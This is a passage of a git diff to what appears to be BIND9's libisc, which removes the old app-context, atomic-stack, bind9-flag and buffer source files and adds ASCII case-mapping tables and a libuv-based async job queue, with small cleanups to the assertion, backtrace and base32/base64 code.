-	if (!atomic_load_acquire(&ctx->shutdown_requested)) {
-		if (isc_bind9 && ctx != &isc_g_appctx) {
-			/* BIND9 internal, but using multiple contexts */
-			atomic_store_release(&ctx->want_reload, true);
-		} else if (isc_bind9) {
-			/* BIND9 internal, single context */
-			if (kill(getpid(), SIGHUP) < 0) {
-				char strbuf[ISC_STRERRORSIZE];
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				isc_error_fatal(__FILE__, __LINE__,
-						"isc_app_reload() "
-						"kill: %s",
-						strbuf);
-			}
-		} else {
-			/* External, multiple contexts */
-			atomic_store_release(&ctx->want_reload, true);
-			SIGNAL(&ctx->ready);
-		}
-	}
-}
-
-void
-isc_app_reload(void) {
-	isc_app_ctxsuspend(&isc_g_appctx);
-}
-
-void
-isc_app_ctxfinish(isc_appctx_t *ctx) {
-	REQUIRE(VALID_APPCTX(ctx));
-
-	isc_mutex_destroy(&ctx->lock);
-	isc_mutex_destroy(&ctx->readylock);
-	isc_condition_destroy(&ctx->ready);
-}
-
-void
-isc_app_finish(void) {
-	isc_app_ctxfinish(&isc_g_appctx);
-}
-
-void
-isc_app_block(void) {
-	REQUIRE(atomic_load_acquire(&isc_g_appctx.running));
-	REQUIRE(atomic_compare_exchange_strong_acq_rel(&isc_g_appctx.blocked,
-						       &(bool){ false }, true));
-
-	sigset_t sset;
-	blockedthread = pthread_self();
-	RUNTIME_CHECK(sigemptyset(&sset) == 0 &&
-		      sigaddset(&sset, SIGINT) == 0 &&
-		      sigaddset(&sset, SIGTERM) == 0);
-	RUNTIME_CHECK(pthread_sigmask(SIG_UNBLOCK, &sset, NULL) == 0);
-}
-
-void
-isc_app_unblock(void) {
-	REQUIRE(atomic_load_acquire(&isc_g_appctx.running));
-	REQUIRE(atomic_compare_exchange_strong_acq_rel(&isc_g_appctx.blocked,
-						       &(bool){ true }, false));
-
-	REQUIRE(blockedthread == pthread_self());
-
-	sigset_t sset;
-	RUNTIME_CHECK(sigemptyset(&sset) == 0 &&
-		      sigaddset(&sset, SIGINT) == 0 &&
-		      sigaddset(&sset, SIGTERM) == 0);
-	RUNTIME_CHECK(pthread_sigmask(SIG_BLOCK, &sset, NULL) == 0);
-}
-
-isc_result_t
-isc_appctx_create(isc_mem_t *mctx, isc_appctx_t **ctxp) {
-	isc_appctx_t *ctx;
-
-	REQUIRE(mctx != NULL);
-	REQUIRE(ctxp != NULL && *ctxp == NULL);
-
-	ctx = isc_mem_get(mctx, sizeof(*ctx));
-	*ctx = (isc_appctx_t){ .magic = 0 };
-
-	isc_mem_attach(mctx, &ctx->mctx);
-	ctx->magic = APPCTX_MAGIC;
-
-	*ctxp = ctx;
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_appctx_destroy(isc_appctx_t **ctxp) {
-	isc_appctx_t *ctx;
-
-	REQUIRE(ctxp != NULL);
-	ctx = *ctxp;
-	*ctxp = NULL;
-	REQUIRE(VALID_APPCTX(ctx));
-
-	ctx->magic = 0;
-
-	isc_mem_putanddetach(&ctx->mctx, ctx, sizeof(*ctx));
-}
diff --git a/lib/isc/ascii.c b/lib/isc/ascii.c
new file mode 100644
index 0000000000..71d136619b
--- /dev/null
+++ b/lib/isc/ascii.c
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdint.h>
+#include <string.h>
+
+#include <isc/ascii.h>
+
+const uint8_t isc__ascii_tolower[256] = {
+	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
+	0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+	0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
+	0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
+	0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
+	0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,
+	0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+	0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
+	0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
+	0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
+	0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
+	0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+	0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
+	0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+	0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
+	0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+	0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
+	0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+	0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
+	0xfc, 0xfd, 0xfe, 0xff
+};
+
+const uint8_t isc__ascii_toupper[256] = {
+	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
+	0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+	0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
+	0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
+	0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
+	0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,
+	0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+	0x60, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b,
+	0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
+	0x58, 0x59, 0x5a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
+	0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
+	0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+	0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
+	0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+	0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
+	0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+	0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
+	0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+	0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
+	0xfc, 0xfd, 0xfe, 0xff
+};
diff --git a/lib/isc/assertions.c b/lib/isc/assertions.c
index 0e89835a4d..3dfccdcb07 100644
--- a/lib/isc/assertions.c
+++ b/lib/isc/assertions.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,8 +18,6 @@
 
 #include <isc/assertions.h>
 #include <isc/backtrace.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/strerr.h>
 
@@ -47,7 +47,6 @@ isc_assertion_failed(const char *file, int line, isc_assertiontype_t type,
 		     const char *cond) {
 	isc_assertion_failed_cb(file, line, type, cond);
 	abort();
-	/* NOTREACHED */
 }
 
 /*% Set callback. */
@@ -96,8 +95,8 @@ isc_assertion_typetotext(isc_assertiontype_t type) {
 static void
 default_callback(const char *file, int line, isc_assertiontype_t type,
 		 const char *cond) {
-	void *tracebuf[BACKTRACE_MAXFRAME];
-	int nframes = isc_backtrace(tracebuf, BACKTRACE_MAXFRAME);
+	void *tracebuf[ISC_BACKTRACE_MAXFRAME];
+	int nframes = isc_backtrace(tracebuf, ISC_BACKTRACE_MAXFRAME);
 
 	fprintf(stderr, "%s:%d: %s(%s) failed%s\n", file, line,
 		isc_assertion_typetotext(type), cond,
diff --git a/lib/isc/astack.c b/lib/isc/astack.c
deleted file mode 100644
index d67df51181..0000000000
--- a/lib/isc/astack.c
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <inttypes.h>
-#include <string.h>
-
-#include <isc/astack.h>
-#include <isc/atomic.h>
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-struct isc_astack {
-	isc_mem_t *mctx;
-	size_t size;
-	size_t pos;
-	isc_mutex_t lock;
-	uintptr_t nodes[];
-};
-
-isc_astack_t *
-isc_astack_new(isc_mem_t *mctx, size_t size) {
-	isc_astack_t *stack = isc_mem_get(
-		mctx, sizeof(isc_astack_t) + size * sizeof(uintptr_t));
-
-	*stack = (isc_astack_t){
-		.size = size,
-	};
-	isc_mem_attach(mctx, &stack->mctx);
-	memset(stack->nodes, 0, size * sizeof(uintptr_t));
-	isc_mutex_init(&stack->lock);
-	return (stack);
-}
-
-bool
-isc_astack_trypush(isc_astack_t *stack, void *obj) {
-	if (!isc_mutex_trylock(&stack->lock)) {
-		if (stack->pos >= stack->size) {
-			UNLOCK(&stack->lock);
-			return (false);
-		}
-		stack->nodes[stack->pos++] = (uintptr_t)obj;
-		UNLOCK(&stack->lock);
-		return (true);
-	} else {
-		return (false);
-	}
-}
-
-void *
-isc_astack_pop(isc_astack_t *stack) {
-	LOCK(&stack->lock);
-	uintptr_t rv;
-	if (stack->pos == 0) {
-		rv = 0;
-	} else {
-		rv = stack->nodes[--stack->pos];
-	}
-	UNLOCK(&stack->lock);
-	return ((void *)rv);
-}
-
-void
-isc_astack_destroy(isc_astack_t *stack) {
-	LOCK(&stack->lock);
-	REQUIRE(stack->pos == 0);
-	UNLOCK(&stack->lock);
-
-	isc_mutex_destroy(&stack->lock);
-
-	isc_mem_putanddetach(&stack->mctx, stack,
-			     sizeof(struct isc_astack) +
-				     stack->size * sizeof(uintptr_t));
-}
diff --git a/lib/isc/async.c b/lib/isc/async.c
new file mode 100644
index 0000000000..351b213a14
--- /dev/null
+++ b/lib/isc/async.c
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/barrier.h>
+#include <isc/condition.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/signal.h>
+#include <isc/strerr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+#include <isc/work.h>
+
+#include "async_p.h"
+#include "job_p.h"
+#include "loop_p.h"
+
+void
+isc_async_run(isc_loop_t *loop, isc_job_cb cb, void *cbarg) {
+	REQUIRE(VALID_LOOP(loop));
+	REQUIRE(cb != NULL);
+
+	isc_job_t *job = isc_mem_get(loop->mctx, sizeof(*job));
+	*job = (isc_job_t){
+		.cb = cb,
+		.cbarg = cbarg,
+	};
+
+	cds_wfcq_node_init(&job->wfcq_node);
+
+	/*
+	 * cds_wfcq_enqueue() is non-blocking and enqueues the job to async
+	 * queue.
+	 *
+	 * The function returns 'false' in case the queue was empty - in such
+	 * case we need to trigger the async callback.
+	 */
+	if (!cds_wfcq_enqueue(&loop->async_jobs.head, &loop->async_jobs.tail,
+			      &job->wfcq_node))
+	{
+		int r = uv_async_send(&loop->async_trigger);
+		UV_RUNTIME_CHECK(uv_async_send, r);
+	}
+}
+
+void
+isc__async_cb(uv_async_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+	isc_jobqueue_t jobs;
+
+	REQUIRE(VALID_LOOP(loop));
+
+	/* Initialize local wfcqueue */
+	__cds_wfcq_init(&jobs.head, &jobs.tail);
+
+	/*
+	 * Move all the elements from loop->async_jobs to a local jobs queue.
+	 *
+	 * __cds_wfcq_splice_blocking() assumes that synchronization is
+	 * done externally - there's no internal locking, unlike
+	 * cds_wfcq_splice_blocking(), and we do not need to check whether
+	 * it needs to block, unlike __cds_wfcq_splice_nonblocking().
+	 *
+	 * The reason we can use __cds_wfcq_splice_blocking() is that the
+	 * only other function we use is cds_wfcq_enqueue() which doesn't
+	 * require any synchronization (see the table in urcu/wfcqueue.h
+	 * for more details).
+	 */
+	enum cds_wfcq_ret ret = __cds_wfcq_splice_blocking(
+		&jobs.head, &jobs.tail, &loop->async_jobs.head,
+		&loop->async_jobs.tail);
+	INSIST(ret != CDS_WFCQ_RET_WOULDBLOCK);
+	if (ret == CDS_WFCQ_RET_SRC_EMPTY) {
+		/*
+		 * Nothing to do, the source queue was empty - most
+		 * probably we were called from isc__async_close() below.
+		 */
+		return;
+	}
+
+	/*
+	 * Walk through the local queue which has now all the members copied
+	 * locally, and call the callbacks and free all the isc_job_t(s).
+	 */
+	struct cds_wfcq_node *node, *next;
+	__cds_wfcq_for_each_blocking_safe(&jobs.head, &jobs.tail, node, next) {
+		isc_job_t *job = caa_container_of(node, isc_job_t, wfcq_node);
+
+		job->cb(job->cbarg);
+
+		isc_mem_put(loop->mctx, job, sizeof(*job));
+	}
+}
+
+void
+isc__async_close(uv_handle_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+
+	isc__async_cb(&loop->async_trigger);
+}
diff --git a/lib/isc/async_p.h b/lib/isc/async_p.h
new file mode 100644
index 0000000000..1ce94b99e1
--- /dev/null
+++ b/lib/isc/async_p.h
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <isc/async.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/uv.h>
+
+void
+isc__async_cb(uv_async_t *handle);
+
+void
+isc__async_close(uv_handle_t *handle);
diff --git a/lib/isc/backtrace.c b/lib/isc/backtrace.c
index 4fc3200bb0..23369417fc 100644
--- a/lib/isc/backtrace.c
+++ b/lib/isc/backtrace.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,8 +20,7 @@
 #endif /* HAVE_BACKTRACE_SYMBOLS */
 
 #include <isc/backtrace.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/log.h>
 #include <isc/result.h>
 #include <isc/util.h>
 
@@ -60,6 +61,26 @@ isc_backtrace_symbols_fd(void *const *buffer, int size, int fd) {
 	backtrace_symbols_fd(buffer, size, fd);
 }
 
+void
+isc_backtrace_log(isc_log_t *lctx, isc_logcategory_t *category,
+		  isc_logmodule_t *module, int level) {
+	void *tracebuf[ISC_BACKTRACE_MAXFRAME];
+	int nframes;
+	char **strs;
+
+	nframes = isc_backtrace(tracebuf, ISC_BACKTRACE_MAXFRAME);
+	if (nframes <= 0) {
+		return;
+	}
+	strs = isc_backtrace_symbols(tracebuf, nframes);
+	if (strs == NULL) {
+		return;
+	}
+	for (int i = 0; i < nframes; i++) {
+		isc_log_write(lctx, category, module, level, "%s", strs[i]);
+	}
+}
+
 #else /* HAVE_BACKTRACE_SYMBOLS */
 
 int
@@ -85,4 +106,13 @@ isc_backtrace_symbols_fd(void *const *buffer, int size, int fd) {
 	UNUSED(fd);
 }
 
+void
+isc_backtrace_log(isc_log_t *lctx, isc_logcategory_t *category,
+		  isc_logmodule_t *module, int level) {
+	UNUSED(lctx);
+	UNUSED(category);
+	UNUSED(module);
+	UNUSED(level);
+}
+
 #endif /* HAVE_BACKTRACE_SYMBOLS */
diff --git a/lib/isc/base32.c b/lib/isc/base32.c
index 8e66475396..ce6db733e4 100644
--- a/lib/isc/base32.c
+++ b/lib/isc/base32.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -147,19 +149,7 @@ typedef struct {
 	bool pad;	  /*%< Expect padding */
 } base32_decode_ctx_t;
 
-static inline void
-base32_decode_init(base32_decode_ctx_t *ctx, int length, const char base[],
-		   bool pad, isc_buffer_t *target) {
-	ctx->digits = 0;
-	ctx->seen_end = false;
-	ctx->seen_32 = 0;
-	ctx->length = length;
-	ctx->target = target;
-	ctx->base = base;
-	ctx->pad = pad;
-}
-
-static inline isc_result_t
+static isc_result_t
 base32_decode_char(base32_decode_ctx_t *ctx, int c) {
 	const char *s;
 	unsigned int last;
@@ -267,7 +257,7 @@ base32_decode_char(base32_decode_ctx_t *ctx, int c) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 base32_decode_finish(base32_decode_ctx_t *ctx) {
 	if (ctx->length > 0) {
 		return (ISC_R_UNEXPECTEDEND);
@@ -291,15 +281,15 @@ static isc_result_t
 base32_tobuffer(isc_lex_t *lexer, const char base[], bool pad,
 		isc_buffer_t *target, int length) {
 	unsigned int before, after;
-	base32_decode_ctx_t ctx;
+	base32_decode_ctx_t ctx = {
+		.length = length, .base = base, .target = target, .pad = pad
+	};
 	isc_textregion_t *tr;
 	isc_token_t token;
 	bool eol;
 
 	REQUIRE(length >= -2);
 
-	base32_decode_init(&ctx, length, base, pad, target);
-
 	before = isc_buffer_usedlength(target);
 	while (!ctx.seen_end && (ctx.length != 0)) {
 		unsigned int i;
@@ -348,9 +338,10 @@ isc_base32hexnp_tobuffer(isc_lex_t *lexer, isc_buffer_t *target, int length) {
 static isc_result_t
 base32_decodestring(const char *cstr, const char base[], bool pad,
 		    isc_buffer_t *target) {
-	base32_decode_ctx_t ctx;
+	base32_decode_ctx_t ctx = {
+		.length = -1, .base = base, .target = target, .pad = pad
+	};
 
-	base32_decode_init(&ctx, -1, base, pad, target);
 	for (;;) {
 		int c = *cstr++;
 		if (c == '\0') {
@@ -383,9 +374,10 @@ isc_base32hexnp_decodestring(const char *cstr, isc_buffer_t *target) {
 static isc_result_t
 base32_decoderegion(isc_region_t *source, const char base[], bool pad,
 		    isc_buffer_t *target) {
-	base32_decode_ctx_t ctx;
+	base32_decode_ctx_t ctx = {
+		.length = -1, .base = base, .target = target, .pad = pad
+	};
 
-	base32_decode_init(&ctx, -1, base, pad, target);
 	while (source->length != 0) {
 		int c = *source->base;
 		RETERR(base32_decode_char(&ctx, c));
diff --git a/lib/isc/base64.c b/lib/isc/base64.c
index a1a34e1dd7..958ef4ff28 100644
--- a/lib/isc/base64.c
+++ b/lib/isc/base64.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -98,7 +100,7 @@ typedef struct {
 	int val[4];
 } base64_decode_ctx_t;
 
-static inline void
+static void
 base64_decode_init(base64_decode_ctx_t *ctx, int length, isc_buffer_t *target) {
 	ctx->digits = 0;
 	ctx->seen_end = false;
@@ -106,7 +108,7 @@ base64_decode_init(base64_decode_ctx_t *ctx, int length, isc_buffer_t *target) {
 	ctx->target = target;
 }
 
-static inline isc_result_t
+static isc_result_t
 base64_decode_char(base64_decode_ctx_t *ctx, int c) {
 	const char *s;
 
@@ -165,7 +167,7 @@ base64_decode_char(base64_decode_ctx_t *ctx, int c) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 base64_decode_finish(base64_decode_ctx_t *ctx) {
 	if (ctx->length > 0) {
 		return (ISC_R_UNEXPECTEDEND);
diff --git a/lib/isc/bind9.c b/lib/isc/bind9.c
deleted file mode 100644
index 1ab9d3e8b6..0000000000
--- a/lib/isc/bind9.c
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/bind9.h>
-
-/*
- * This determines whether we are using the libisc/libdns libraries
- * in BIND9 or in some other application. It is initialized to true
- * and remains unchanged for BIND9 and related tools; export library
- * clients will run isc_lib_register(), which sets it to false,
- * overriding certain BIND9 behaviors.
- */
-LIBISC_EXTERNAL_DATA bool isc_bind9 = true;
diff --git a/lib/isc/buffer.c b/lib/isc/buffer.c
deleted file mode 100644
index 1db0eb026e..0000000000
--- a/lib/isc/buffer.c
+++ /dev/null
@@ -1,658 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdarg.h>
-#include <stdbool.h>
-
-#include <isc/buffer.h>
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/region.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-void
-isc__buffer_init(isc_buffer_t *b, void *base, unsigned int length) {
-	/*
-	 * Make 'b' refer to the 'length'-byte region starting at 'base'.
-	 * XXXDCL see the comment in buffer.h about base being const.
-	 */
-
-	REQUIRE(b != NULL);
-
-	ISC__BUFFER_INIT(b, base, length);
-}
-
-void
-isc__buffer_initnull(isc_buffer_t *b) {
-	/*
-	 * Initialize a new buffer which has no backing store.  This can
-	 * later be grown as needed and swapped in place.
-	 */
-
-	ISC__BUFFER_INIT(b, NULL, 0);
-}
-
-void
-isc_buffer_reinit(isc_buffer_t *b, void *base, unsigned int length) {
-	/*
-	 * Re-initialize the buffer enough to reconfigure the base of the
-	 * buffer.  We will swap in the new buffer, after copying any
-	 * data we contain into the new buffer and adjusting all of our
-	 * internal pointers.
-	 *
-	 * The buffer must not be smaller than the length of the original
-	 * buffer.
-	 */
-	REQUIRE(b->length <= length);
-	REQUIRE(base != NULL);
-	REQUIRE(!b->autore);
-
-	if (b->length > 0U) {
-		(void)memmove(base, b->base, b->length);
-	}
-
-	b->base = base;
-	b->length = length;
-}
-
-void
-isc__buffer_invalidate(isc_buffer_t *b) {
-	/*
-	 * Make 'b' an invalid buffer.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(!ISC_LINK_LINKED(b, link));
-	REQUIRE(b->mctx == NULL);
-
-	ISC__BUFFER_INVALIDATE(b);
-}
-
-void
-isc_buffer_setautorealloc(isc_buffer_t *b, bool enable) {
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->mctx != NULL);
-	b->autore = enable;
-}
-
-void
-isc__buffer_region(isc_buffer_t *b, isc_region_t *r) {
-	/*
-	 * Make 'r' refer to the region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_REGION(b, r);
-}
-
-void
-isc__buffer_usedregion(const isc_buffer_t *b, isc_region_t *r) {
-	/*
-	 * Make 'r' refer to the used region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_USEDREGION(b, r);
-}
-
-void
-isc__buffer_availableregion(isc_buffer_t *b, isc_region_t *r) {
-	/*
-	 * Make 'r' refer to the available region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_AVAILABLEREGION(b, r);
-}
-
-void
-isc__buffer_add(isc_buffer_t *b, unsigned int n) {
-	/*
-	 * Increase the 'used' region of 'b' by 'n' bytes.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used + n <= b->length);
-
-	ISC__BUFFER_ADD(b, n);
-}
-
-void
-isc__buffer_subtract(isc_buffer_t *b, unsigned int n) {
-	/*
-	 * Decrease the 'used' region of 'b' by 'n' bytes.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used >= n);
-
-	ISC__BUFFER_SUBTRACT(b, n);
-}
-
-void
-isc__buffer_clear(isc_buffer_t *b) {
-	/*
-	 * Make the used region empty.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-
-	ISC__BUFFER_CLEAR(b);
-}
-
-void
-isc__buffer_consumedregion(isc_buffer_t *b, isc_region_t *r) {
-	/*
-	 * Make 'r' refer to the consumed region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_CONSUMEDREGION(b, r);
-}
-
-void
-isc__buffer_remainingregion(isc_buffer_t *b, isc_region_t *r) {
-	/*
-	 * Make 'r' refer to the remaining region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_REMAININGREGION(b, r);
-}
-
-void
-isc__buffer_activeregion(isc_buffer_t *b, isc_region_t *r) {
-	/*
